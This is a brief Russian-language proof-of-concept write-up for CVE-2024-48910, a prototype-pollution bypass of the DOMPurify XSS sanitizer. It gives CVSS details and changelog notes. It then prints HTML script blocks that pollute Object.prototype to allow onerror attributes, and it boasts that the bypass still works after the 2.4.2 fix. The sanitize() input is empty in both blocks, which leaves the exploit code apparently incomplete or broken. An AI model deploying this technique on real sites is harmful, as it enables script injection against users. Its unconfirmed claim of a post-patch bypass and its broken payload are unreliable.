
Эксплойт доказательства концепции для CVE-2024-48910, демонстрирующий обход очистителя XSS DOMPurify с помощью загрязнения прототипа для выполнения произвольного JavaScript через специально созданные HTML-атрибуты.
CVE-2024-48910 DOMPurify, быстрый и устойчивый XSS-санитайзер для HTML, MathML и SVG, работающий только с DOM, был признан уязвимым к прототипному загрязнению (CVE-2024-48910). Уязвимость была обнаружена и исправлена в версии 2.4.2, первоначальное раскрытие состоялось 31 октября 2024 года.
Уязвимость прототипного загрязнения в DOMPurify может позволить злоумышленникам изменять атрибуты прототипов объектов, что потенциально может привести к обходу защиты и несанкционированным изменениям поведения приложения. Высокий показатель CVSS указывает на значительное потенциальное влияние на безопасность системы, особенно затрагивающее конфиденциальность и целостность данных.
Уязвимости присвоена базовая оценка CVSS v3.1 9.1 (КРИТИЧЕСКАЯ) с вектором CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N. Это указывает, что уязвимость может быть использована удалённо с низкой сложностью атаки, не требует привилегий или взаимодействия с пользователем и может привести к высокому воздействию на конфиденциальность и целостность, хотя и не затрагивает доступность.
Из журнала изменений видно, что был добавлен тестовый пример, включающий .__proto__., что предполагает внедрение прототипа.

Следующая добавленная строка означает, что ранее всё, что было «истинным» (truthy), оценивалось как true.

Защита XSS обойдена — onerror теперь «разрешён».
<script>Object.prototype.hasOwnProperty=Object</script>
<script>Object.prototype.ALLOWED_ATTR=["src","onerror"]</script>
<script src=//cdn.jsdelivr.net/npm/[email protected]/dist/purify.min.js></script>
<script>document.write(DOMPurify.sanitize(''))</script>
Несмотря на обновление до версии 2.4.2, я всё ещё могу вызвать alert() ... всё, что нужно сделать, это установить
Object.prototype.hasOwnProperty = () => true;, чтобы обойти защиту LOL!!
<script>Object.prototype.hasOwnProperty = () => true;</script>
<script>Object.prototype.ALLOWED_ATTR=["src","onerror"]</script>
<script src=//cdn.jsdelivr.net/npm/[email protected]/dist/purify.min.js></script>
<script>document.write(DOMPurify.sanitize(''))</script>